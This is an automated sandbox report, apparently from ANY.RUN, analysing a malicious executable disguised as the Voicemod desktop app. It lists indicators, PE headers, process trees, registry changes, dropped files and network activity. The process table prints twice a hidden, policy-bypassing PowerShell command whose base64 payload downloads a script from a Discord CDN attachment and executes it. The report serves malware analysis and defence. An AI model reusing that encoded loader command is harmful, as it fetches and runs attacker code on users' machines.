| File name: | VoicemodDesktop.exe |
| Full analysis: | https://app.any.run/tasks/4bc929a9-7e15-42d4-abfa-3b3875273a11 |
| Verdict: | Malicious activity |
| Analysis date: | April 01, 2023, 02:16:48 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (console) Intel 80386, for MS Windows |
| MD5: | 450FF5CD853C1E41F6484351D7A42A54 |
| SHA1: | A0D22F315449DF80CF8F8541D8A3CBF62B7E44D3 |
| SHA256: | B61AD62CD86355CCB5B20F0090A6CA9293C084EA8D8EBB9349017997C2463F99 |
| SSDEEP: | 1536:2SpQqTdeFEoshF1CUUK99pGThfjATXuiJCWEMtOFKSEqaYojsWMgKOcdC/G:2OTYkxUCa2TXuiJCWttZqPnrPC/G |
MALICIOUS
Bypass execution policy to execute commands
- powershell.exe (PID: 3176)
Run PowerShell with an invisible window
- powershell.exe (PID: 3176)
Starts Visual C# compiler
- powershell.exe (PID: 3176)
SUSPICIOUS
Starts CMD.EXE for commands execution
- VoicemodDesktop.exe (PID: 2668)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 920)
Base64-obfuscated command line is found
- cmd.exe (PID: 920)
BASE64 encoded PowerShell command has been detected
- cmd.exe (PID: 920)
Reads the Internet Settings
- powershell.exe (PID: 3176)
Unusual connection from system programs
- powershell.exe (PID: 3176)
Uses .NET C# to load dll
- powershell.exe (PID: 3176)
Executable content was dropped or overwritten
- csc.exe (PID: 4060)
Using PowerShell to operate with local accounts
- powershell.exe (PID: 3176)
INFO
Checks supported languages
- VoicemodDesktop.exe (PID: 2668)
- AppLaunch.exe (PID: 1364)
- cvtres.exe (PID: 1400)
- csc.exe (PID: 4060)
The process checks LSA protection
- powershell.exe (PID: 3176)
- cvtres.exe (PID: 1400)
- csc.exe (PID: 4060)
Create files in a temporary directory
- powershell.exe (PID: 3176)
- cvtres.exe (PID: 1400)
- csc.exe (PID: 4060)
Reads security settings of Internet Explorer
- powershell.exe (PID: 3176)
Reads settings of System Certificates
- powershell.exe (PID: 3176)
Reads the machine GUID from the registry
- cvtres.exe (PID: 1400)
- csc.exe (PID: 4060)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
EXIF
EXE
| Subsystem: | Windows command line |
|---|---|
| SubsystemVersion: | 6 |
| ImageVersion: | - |
| OSVersion: | 6 |
| EntryPoint: | 0x275a |
| UninitializedDataSize: | - |
| InitializedDataSize: | 33792 |
| CodeSize: | 61440 |
| LinkerVersion: | 14.29 |
| PEType: | PE32 |
| ImageFileCharacteristics: | No relocs, Executable, 32-bit |
| TimeStamp: | 2023:03:30 10:51:41+00:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_CUI |
| Compilation Date: | 30-Mar-2023 10:51:41 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000100 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 4 |
| Time date stamp: | 30-Mar-2023 10:51:41 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0000EE19 | 0x0000F000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.59066 |
.rdata | 0x00010000 | 0x00006C68 | 0x00006E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.01227 |
.data | 0x00017000 | 0x000012F8 | 0x00000A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 2.03097 |
.rsrc | 0x00019000 | 0x000001E0 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.71006 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.91161 | 381 | UNKNOWN | English - United States | RT_MANIFEST |
Imports
KERNEL32.dll |
Total processes
42
Monitored processes
6
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 920 | C:\Windows\system32\cmd.exe /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwAgAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADkAMAA5ADUAMAA5ADAANQAzADIAOAA4ADQANAA4ADkAMwAvADEAMAA5ADAAOQA1ADAAOQAzADAAMQA1ADQAOQAxADgAMAAwADgALwA0ADMANAAzADQAMwA0ADMANQA2AC4AcABzADEAJwApAA== | C:\Windows\System32\cmd.exe | — | VoicemodDesktop.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1364 | "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET ClickOnce Launch Utility Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| 1400 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES43EA.tmp" "c:\Users\admin\AppData\Local\Temp\CSC69EA31843CFE4BBDA2D279A510CF4C71.TMP" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 12.00.51209.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| 2668 | "C:\Users\admin\AppData\Local\Temp\VoicemodDesktop.exe" | C:\Users\admin\AppData\Local\Temp\VoicemodDesktop.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3176 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwAgAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADkAMAA5ADUAMAA5ADAANQAzADIAOAA4ADQANAA4ADkAMwAvADEAMAA5ADAAOQA1ADAAOQAzADAAMQA1ADQAOQAxADgAMAAwADgALwA0ADMANAAzADQAMwA0ADMANQA2AC4AcABzADEAJwApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 4060 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\emncbp0i.cmdline" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
Total events
9 802
Read events
9 758
Write events
44
Delete events
0
Modification events
| (PID) Process: | (3176) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\16D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3176) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (3176) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (3176) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (3176) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
Executable files
2
Suspicious files
4
Text files
6
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4060 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC69EA31843CFE4BBDA2D279A510CF4C71.TMP | res | |
MD5:— | SHA256:— | |||
| 3176 | powershell.exe | C:\Users\admin\AppData\Local\Temp\emncbp0i.cmdline | text | |
MD5:— | SHA256:— | |||
| 4060 | csc.exe | C:\Users\admin\AppData\Local\Temp\emncbp0i.out | text | |
MD5:— | SHA256:— | |||
| 4060 | csc.exe | C:\Users\admin\AppData\Local\Temp\emncbp0i.dll | executable | |
MD5:— | SHA256:— | |||
| 1400 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RES43EA.tmp | o | |
MD5:— | SHA256:— | |||
| 3176 | powershell.exe | C:\Users\admin\AppData\Local\Temp\sdvz0md4.aya.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3176 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 3176 | powershell.exe | C:\Users\admin\AppData\Local\Temp\emncbp0i.0.cs | text | |
MD5:E8C41BF3708CC4BD505851F38966151A | SHA256:54DC97B3A24A8137D2B4DCB052B104FFDE93BD4A89297EE2FB522FA346BB01E9 | |||
| 3176 | powershell.exe | C:\Users\admin\AppData\Local\Temp\m5ewarqz.g0a.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
2
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3176 | powershell.exe | 162.159.130.233:443 | cdn.discordapp.com | CLOUDFLARENET | — | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
cdn.discordapp.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discordapp .com) |
3176 | powershell.exe | Misc activity | ET INFO Observed Discord Domain (discordapp .com in TLS SNI) |